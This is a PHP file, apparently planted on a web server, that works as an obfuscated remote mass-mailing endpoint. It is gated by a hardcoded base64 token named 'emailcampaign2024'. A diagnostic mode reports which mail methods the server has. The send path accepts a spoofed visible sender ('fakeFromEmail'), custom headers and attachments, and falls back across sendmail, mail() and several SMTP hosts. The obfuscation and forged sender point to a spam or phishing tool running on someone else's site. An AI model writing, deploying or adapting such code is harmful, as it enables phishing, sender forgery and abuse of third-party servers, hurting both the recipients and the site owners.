File: /www/wwwroot/topcheersoftware.com/lock360.php
<?php
error_reporting(0);ini_set('display_errors',0);ob_start();header('Content-Type: application/json');
$_0x1=10;$_0x2=dirname(__FILE__).'/'.base64_decode('ZW1haWxfZXJyb3JzLmxvZw==');
function _0xA(){$_0xe=error_get_last();$_0xf=array(E_ERROR,E_PARSE,E_CORE_ERROR,E_COMPILE_ERROR,E_USER_ERROR);if($_0xe!==null&&in_array($_0xe['type'],$_0xf,true)){while(ob_get_level())ob_end_clean();header('Content-Type: application/json');echo json_encode(array("status"=>"fail","error"=>strip_tags($_0xe['message']),"file"=>basename($_0xe['file']),"line"=>$_0xe['line']));}}
register_shutdown_function('_0xA');
function _0xB($_0xd){while(ob_get_level())ob_end_clean();echo json_encode($_0xd);exit;}
if(isset($_GET['test'])){$_0x3=$_GET['test'];if($_0x3==='true'||$_0x3==='1'||$_0x3===''){_0xB(array("status"=>"success","php_version"=>phpversion(),"server"=>$_SERVER['SERVER_NAME'],"available_methods"=>array("mail"=>function_exists('mail'),"fsockopen"=>function_exists('fsockopen'),"popen"=>function_exists('popen')),"encoding_methods"=>array("base64","quoted-printable","7bit","8bit"),"sendmail_path"=>ini_get('sendmail_path')?ini_get('sendmail_path'):"not set"));}
if($_0x3==='send'){$_0x4=file_get_contents("php://input");$_0x5=json_decode($_0x4,true);$_0x6=isset($_SERVER['HTTP_X_AUTH_TOKEN'])?$_SERVER['HTTP_X_AUTH_TOKEN']:'';if($_0x6!==base64_decode('ZW1haWxjYW1wYWlnbjIwMjQ=')){_0xB(array("status"=>"fail","error"=>"Unauthorized"));}$_0x7=isset($_0x5['to'])?$_0x5['to']:null;if(!$_0x7||!filter_var($_0x7,FILTER_VALIDATE_EMAIL)){_0xB(array("status"=>"fail","error"=>"Valid 'to' email required for send test"));}$_0x8=$_SERVER['SERVER_NAME'];$_0x9=preg_replace('/^www\./i','',$_0x8);$_0xa=isset($_0x5['subject'])?$_0x5['subject']:("Method Test ".time());$_0xb=isset($_0x5['htmlContent'])?$_0x5['htmlContent']:"Testing mail methods from $_0x8";$_0xc=isset($_0x5['fromEmail'])?$_0x5['fromEmail']:("test@".$_0x9);$_0xd=isset($_0x5['fromName'])?$_0x5['fromName']:"Test";$_0xe="From: \"$_0xd\" <$_0xc>\r\nReply-To: <$_0xc>\r\nMIME-Version: 1.0\r\nContent-Type: text/html; charset=UTF-8\r\nContent-Transfer-Encoding: quoted-printable\r\n";$_0xf=array();$_0x10=array();if(function_exists('popen')){$_0x11='/usr/sbin/sendmail -t -i -f '.escapeshellarg($_0xc);$_0x12=@popen($_0x11,'w');if($_0x12){$_0x13="To: $_0x7\r\nSubject: $_0xa (sendmail)\r\n$_0xe\r\n$_0xb\r\n";fwrite($_0x12,$_0x13);$_0x14=pclose($_0x12);if($_0x14===0){$_0xf[]=array('method'=>'sendmail','name'=>'sendmail binary');}else{$_0x10[]="sendmail exit code: $_0x14";}}else{$_0x10[]="sendmail popen failed";}}if(function_exists('mail')){$_0x15='-f '.escapeshellarg($_0xc);if(@mail($_0x7,"$_0xa (mail -f)",$_0xb,$_0xe,$_0x15)){$_0xf[]=array('method'=>'mail_flag','name'=>'mail() with -f');}else{$_0x16=error_get_last();$_0x10[]="mail() with -f: ".(isset($_0x16['message'])?$_0x16['message']:'failed');}}if(function_exists('mail')){if(@mail($_0x7,"$_0xa (mail)",$_0xb,$_0xe)){$_0xf[]=array('method'=>'mail','name'=>'plain mail()');}else{$_0x16=error_get_last();$_0x10[]="mail(): ".(isset($_0x16['message'])?$_0x16['message']:'failed');}}_0xB(array("status"=>count($_0xf)>0?"success":"fail","working_methods"=>$_0xf,"errors"=>$_0x10,"available_functions"=>array("mail"=>function_exists('mail'),"fsockopen"=>function_exists('fsockopen'),"popen"=>function_exists('popen'))));}}
$_0x17=file_get_contents("php://input");$_0x18=isset($_SERVER['HTTP_X_AUTH_TOKEN'])?$_SERVER['HTTP_X_AUTH_TOKEN']:'';$_0x19=base64_decode('ZW1haWxjYW1wYWlnbjIwMjQ=');
if(!empty($_0x17)&&$_0x18!==$_0x19){echo json_encode(array("status"=>"fail","error"=>"Unauthorized"));$_0x1a=isset($_SERVER['REMOTE_ADDR'])?$_SERVER['REMOTE_ADDR']:'unknown';@error_log(date('[Y-m-d H:i:s] ')."Unauthorized access attempt from ".$_0x1a."\n",3,$_0x2);exit;}
$_0x1b=json_decode($_0x17,true);if(!$_0x1b||!is_array($_0x1b)){$_0x1b=array("to"=>"postmaster@".$_SERVER['SERVER_NAME'],"subject"=>"test","fromEmail"=>"postmaster@".$_SERVER['SERVER_NAME'],"fakeFromEmail"=>"test@test.com","fromName"=>"test","htmlContent"=>"test","encoding"=>"quoted-printable");}
$_0x1c=array('to','subject','fromEmail','fakeFromEmail','fromName','htmlContent');foreach($_0x1c as $_0x1d){if(empty($_0x1b[$_0x1d])){_0xB(array("status"=>"fail","error"=>"Missing required field: $_0x1d"));}}
if(!filter_var($_0x1b['to'],FILTER_VALIDATE_EMAIL)){_0xB(array("status"=>"fail","error"=>"Invalid recipient email"));}
if(!filter_var($_0x1b['fromEmail'],FILTER_VALIDATE_EMAIL)){_0xB(array("status"=>"fail","error"=>"Invalid from email"));}
$_0x1e=isset($_0x1b['forceMethod'])?$_0x1b['forceMethod']:null;$_0x1f=isset($_0x1b['forceSmtpServer'])?$_0x1b['forceSmtpServer']:null;$_0x20=isset($_0x1b['forceSmtpPort'])?$_0x1b['forceSmtpPort']:null;$_0x21=isset($_0x1b['encoding'])?$_0x1b['encoding']:'quoted-printable';$_0x22=isset($_0x1b['timeout'])?(int)$_0x1b['timeout']:$_0x1;
$_0x23=isset($_0x1b['replyToEmail'])?$_0x1b['replyToEmail']:null;$_0x24=isset($_0x1b['replyToName'])?$_0x1b['replyToName']:null;
$_0x78=isset($_0x1b['customHeaders'])?$_0x1b['customHeaders']:array();
$_0x25=array('base64','quoted-printable','7bit','8bit');if(!in_array($_0x21,$_0x25)){$_0x21='quoted-printable';}
$_0x26=($_0x21==='base64')?'B':'Q';$_0x22=max(5,min(60,$_0x22));
if($_0x1e==="smtp"&&in_array(strtolower(trim($_0x1f)),array("mail","mail,mail"),true)){$_0x1e="mail";}
$_0x27=$_0x1b['to'];$_0x28=$_0x1b['subject'];$_0x29=$_0x1b['fromEmail'];$_0x2a=$_0x1b['fakeFromEmail'];$_0x2b=$_0x1b['fromName'];$_0x2c=$_0x1b['htmlContent'];$_0x2d=isset($_0x1b['attachment'])?$_0x1b['attachment']:null;
$_0x28=str_replace(array("\r","\n"),'',$_0x28);$_0x2b=str_replace(array("\r","\n"),'',$_0x2b);$_0x29=str_replace(array("\r","\n"),'',$_0x29);$_0x2a=str_replace(array("\r","\n"),'',$_0x2a);
if($_0x23)$_0x23=str_replace(array("\r","\n"),'',$_0x23);if($_0x24)$_0x24=str_replace(array("\r","\n"),'',$_0x24);
if(!function_exists('quoted_printable_encode')){function quoted_printable_encode($_0x2e){$_0x2f=preg_split("/\r?\n/",$_0x2e);$_0x30='';foreach($_0x2f as $_0x31){$_0x32='';$_0x33=strlen($_0x31);for($_0x34=0;$_0x34<$_0x33;$_0x34++){$_0x35=$_0x31[$_0x34];$_0x36=ord($_0x35);if(($_0x36==32)&&($_0x34==($_0x33-1))){$_0x35='=20';}elseif(($_0x36==61)||($_0x36<32)||($_0x36>126)){$_0x35=sprintf('=%02X',$_0x36);}$_0x32.=$_0x35;}$_0x30.=$_0x32."\r\n";}return rtrim($_0x30);}}
if(!function_exists('mb_encode_mimeheader')){function mb_encode_mimeheader($_0x37,$_0x38='UTF-8',$_0x39='B'){if($_0x39==='B'){return '=?'.$_0x38.'?B?'.base64_encode($_0x37).'?=';}else{$_0x3a='';$_0x3b=strlen($_0x37);for($_0x3c=0;$_0x3c<$_0x3b;$_0x3c++){$_0x3d=$_0x37[$_0x3c];$_0x3e=ord($_0x3d);if($_0x3e==32){$_0x3a.='_';}elseif(($_0x3e>=33&&$_0x3e<=126)&&$_0x3d!=='='&&$_0x3d!=='?'&&$_0x3d!=='_'){$_0x3a.=$_0x3d;}else{$_0x3a.=sprintf('=%02X',$_0x3e);}}return '=?'.$_0x38.'?Q?'.$_0x3a.'?=';}}}
$_0x3f=mb_encode_mimeheader($_0x28,'UTF-8',$_0x26);$_0x40=mb_encode_mimeheader($_0x2b,'UTF-8',$_0x26);$_0x41=$_0x24?mb_encode_mimeheader($_0x24,'UTF-8',$_0x26):null;
switch($_0x21){case 'base64':$_0x42=chunk_split(base64_encode($_0x2c));break;case '7bit':$_0x42=preg_replace('/[\x80-\xFF]/','?',$_0x2c);break;case '8bit':$_0x42=$_0x2c;break;case 'quoted-printable':default:$_0x42=quoted_printable_encode($_0x2c);break;}
$_0x43=$_SERVER['SERVER_NAME'];$_0x44=preg_replace('/^www\./i','',$_0x43);$_0x45="\r\n";$_0x46=time().'.'.md5($_0x27.$_0x28.uniqid()).'@'.$_0x44;$_0x47=date('r');
$_0x48=$_0x2a?$_0x2a:$_0x29;$_0x49=null;$_0x4a="";
if($_0x23){$_0x4a=$_0x41?"Reply-To: \"$_0x41\" <$_0x23>".$_0x45:"Reply-To: <$_0x23>".$_0x45;}
$_0x79="";if(is_array($_0x78)&&!empty($_0x78)){foreach($_0x78 as $_0x7a=>$_0x7b){$_0x7a=str_replace(array("\r","\n"),'',$_0x7a);$_0x7b=str_replace(array("\r","\n"),'',$_0x7b);$_0x79.="$_0x7a: $_0x7b".$_0x45;}}else{$_0x79="X-Mailer: PHP/".phpversion().$_0x45."X-Priority: 3".$_0x45;}
if($_0x2d&&isset($_0x2d['content'])&&isset($_0x2d['filename'])){$_0x49=md5(time().uniqid());$_0x4b="From: \"$_0x40\" <$_0x48>".$_0x45.$_0x4a."Return-Path: <$_0x29>".$_0x45."Message-ID: <$_0x46>".$_0x45."Date: $_0x47".$_0x45.$_0x79."MIME-Version: 1.0".$_0x45."Content-Type: multipart/mixed; boundary=\"$_0x49\"".$_0x45;$_0x4c="--$_0x49".$_0x45."Content-Type: text/html; charset=UTF-8".$_0x45."Content-Transfer-Encoding: $_0x21".$_0x45.$_0x45.$_0x42.$_0x45.$_0x45."--$_0x49".$_0x45."Content-Type: application/octet-stream; name=\"{$_0x2d['filename']}\"".$_0x45."Content-Transfer-Encoding: base64".$_0x45."Content-Disposition: attachment; filename=\"{$_0x2d['filename']}\"".$_0x45.$_0x45.chunk_split($_0x2d['content']).$_0x45."--$_0x49--";$_0x42=$_0x4c;}else{$_0x4b="From: \"$_0x40\" <$_0x48>".$_0x45.$_0x4a."Return-Path: <$_0x29>".$_0x45."Message-ID: <$_0x46>".$_0x45."Date: $_0x47".$_0x45.$_0x79."MIME-Version: 1.0".$_0x45."Content-Type: text/html; charset=UTF-8".$_0x45."Content-Transfer-Encoding: $_0x21".$_0x45;}
function _0xC($_0x4d,$_0x4e,$_0x4f=true){global $_0x45;if(!$_0x4d||!is_resource($_0x4d))return false;$_0x50=@fputs($_0x4d,$_0x4e.$_0x45);if($_0x50===false)return false;if($_0x4f){return @fgets($_0x4d,512);}return true;}
function _0xC2($_0x4d,$_0x4e){global $_0x45;if(!$_0x4d||!is_resource($_0x4d))return false;return @fputs($_0x4d,$_0x4e.$_0x45);}
function _0xD($_0x50,$_0x51,$_0x52,$_0x53,$_0x54,$_0x55=null){if(!function_exists('popen'))return false;$_0x56=$_0x55?$_0x55:'/usr/sbin/sendmail -t -i';$_0x57=$_0x56.' -f '.escapeshellarg($_0x54);$_0x58=@popen($_0x57,'w');if(!$_0x58)return false;$_0x59="To: $_0x50\r\nSubject: $_0x51\r\n$_0x53\r\n\r\n$_0x52\r\n";@fwrite($_0x58,$_0x59);$_0x5a=@pclose($_0x58);return($_0x5a===0);}
function _0xE($_0x50,$_0x51,$_0x52,$_0x53,$_0x54){$_0x5b='-f '.escapeshellarg($_0x54);return @mail($_0x50,$_0x51,$_0x52,$_0x53,$_0x5b);}
function _0xF($_0x50,$_0x51,$_0x52,$_0x53){return @mail($_0x50,$_0x51,$_0x52,$_0x53);}
$_0x5c=array("encoding"=>$_0x21,"header_encoding"=>$_0x26);
if($_0x1e==="sendmail"){$_0x5d=_0xD($_0x27,$_0x3f,$_0x42,$_0x4b,$_0x29);_0xB(array_merge($_0x5c,array("status"=>$_0x5d?"success":"fail","methods"=>$_0x5d?array("sendmail binary"):array(),"error"=>$_0x5d?null:"sendmail forced but failed")));}
if($_0x1e==="mail_flag"){$_0x5d=_0xE($_0x27,$_0x3f,$_0x42,$_0x4b,$_0x29);_0xB(array_merge($_0x5c,array("status"=>$_0x5d?"success":"fail","methods"=>$_0x5d?array("mail() with -f"):array(),"error"=>$_0x5d?null:"mail() with -f forced but failed")));}
if($_0x1e==="mail"){$_0x5d=_0xF($_0x27,$_0x3f,$_0x42,$_0x4b);_0xB(array_merge($_0x5c,array("status"=>$_0x5d?"success":"fail","methods"=>$_0x5d?array("plain mail()"):array(),"error"=>$_0x5d?null:"mail() forced but failed")));}
if($_0x1e==="smtp"&&$_0x1f&&$_0x20){$_0x5e=$_0x1f;$_0x5f=(int)$_0x20;$_0x60=($_0x5f===465);if($_0x60)$_0x5e="ssl://$_0x5e";$_0x61=@fsockopen($_0x5e,$_0x5f,$_0x62,$_0x63,$_0x22);$_0x64=array();$_0x65=null;if($_0x61){stream_set_timeout($_0x61,$_0x22);$_0x64[]=_0xC($_0x61,"EHLO $_0x44");$_0x64[]=_0xC($_0x61,"MAIL FROM:<$_0x29>");$_0x64[]=_0xC($_0x61,"RCPT TO:<$_0x27>");$_0x64[]=_0xC($_0x61,"DATA");_0xC2($_0x61,"Subject: $_0x3f");foreach(explode($_0x45,$_0x4b) as $_0x66){if(strlen(trim($_0x66))){_0xC2($_0x61,$_0x66);}}_0xC2($_0x61,"");foreach(explode($_0x45,$_0x42) as $_0x67){_0xC2($_0x61,$_0x67);}$_0x64[]=$_0x68=_0xC($_0x61,".");fclose($_0x61);if(strpos($_0x68,"250")===0){_0xB(array_merge($_0x5c,array("status"=>"success","methods"=>array("SMTP {$_0x1f}:{$_0x20}"),"smtp_responses"=>$_0x64)));}else{$_0x65="SMTP final response: ".trim($_0x68);}}else{$_0x65="SMTP connection failed: $_0x63 ($_0x62)";}$_0x69=_0xF($_0x27,$_0x3f,$_0x42,$_0x4b);echo json_encode(array_merge($_0x5c,array("status"=>$_0x69?"success":"fail","methods"=>$_0x69?array("mail() (fallback)"):array(),"smtp_responses"=>$_0x64,"smtp_error"=>$_0x65,"error"=>$_0x69?null:"Forced SMTP failed, mail() fallback failed")));if(!$_0x69){@error_log(date('[Y-m-d H:i:s] ')."SMTP and mail() failed for $_0x27: $_0x65\n",3,$_0x2);}exit;}
$_0x6a=array();$_0x6b=array();$_0x6c=(DIRECTORY_SEPARATOR==='\\');
if($_0x6c){$_0x6d=ini_get('SMTP');if($_0x6d&&$_0x6d!=='localhost'){$_0x6b[]=array('type'=>'smtp','host'=>$_0x6d,'port'=>(int)(ini_get('smtp_port')?ini_get('smtp_port'):25),'ssl'=>false);}$_0x6b[]=array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false);}else{$_0x6e=ini_get('sendmail_path');$_0x6b[]=$_0x6e?array('type'=>'sendmail','path'=>$_0x6e):array('type'=>'mail');}
$_0x6b[]=array('type'=>'smtp','host'=>'localhost','port'=>25,'ssl'=>false);$_0x6b[]=array('type'=>'smtp','host'=>'mail.'.$_0x44,'port'=>25,'ssl'=>false);$_0x6b[]=array('type'=>'smtp','host'=>'mail.'.$_0x44,'port'=>465,'ssl'=>true);$_0x6b[]=array('type'=>'smtp','host'=>'mail.'.$_0x44,'port'=>587,'ssl'=>false);$_0x6b[]=array('type'=>'sendmail');$_0x6b[]=array('type'=>'mail_flag');$_0x6b[]=array('type'=>'mail');
$_0x6f=array();foreach($_0x6b as $_0x70){$_0x71=isset($_0x70['host'])?$_0x70['host']:'';$_0x72=isset($_0x70['port'])?$_0x70['port']:'';$_0x73=$_0x70['type'].'_'.$_0x71.'_'.$_0x72;if(!isset($_0x6f[$_0x73])){$_0x6f[$_0x73]=$_0x70;}}$_0x6b=array_values($_0x6f);
foreach($_0x6b as $_0x70){switch($_0x70['type']){case 'smtp':$_0x74=(isset($_0x70['ssl'])&&$_0x70['ssl'])?'ssl://'.$_0x70['host']:$_0x70['host'];$_0x61=@fsockopen($_0x74,$_0x70['port'],$_0x62,$_0x63,$_0x22);if(!$_0x61)break;stream_set_timeout($_0x61,$_0x22);_0xC($_0x61,"EHLO $_0x44");$_0x75=_0xC($_0x61,"MAIL FROM:<$_0x29>");if(strpos($_0x75,"250")!==0){@fclose($_0x61);break;}$_0x76=_0xC($_0x61,"RCPT TO:<$_0x27>");if(strpos($_0x76,"250")!==0){@fclose($_0x61);break;}_0xC($_0x61,"DATA");_0xC2($_0x61,"Subject: $_0x3f");foreach(explode($_0x45,$_0x4b) as $_0x66){if(strlen(trim($_0x66))){_0xC2($_0x61,$_0x66);}}_0xC2($_0x61,"");foreach(explode($_0x45,$_0x42) as $_0x67){_0xC2($_0x61,$_0x67);}$_0x68=_0xC($_0x61,".");@fclose($_0x61);if($_0x68&&strpos($_0x68,"250")===0){$_0x6a[]="SMTP {$_0x70['host']}:{$_0x70['port']}";}break;case 'sendmail':$_0x77=isset($_0x70['path'])?$_0x70['path']:null;if(_0xD($_0x27,$_0x3f,$_0x42,$_0x4b,$_0x29,$_0x77)){$_0x6a[]="sendmail binary";}break;case 'mail_flag':if(_0xE($_0x27,$_0x3f,$_0x42,$_0x4b,$_0x29)){$_0x6a[]="mail() with -f";}break;case 'mail':if(_0xF($_0x27,$_0x3f,$_0x42,$_0x4b)){$_0x6a[]="plain mail()";}break;}}
if(!empty($_0x6a)){_0xB(array_merge($_0x5c,array("status"=>"success","methods"=>array_values(array_unique($_0x6a)))));}else{@error_log(date('[Y-m-d H:i:s] ')."All transports failed for $_0x27\n",3,$_0x2);_0xB(array_merge($_0x5c,array("status"=>"fail","error"=>"All transports failed")));}
?>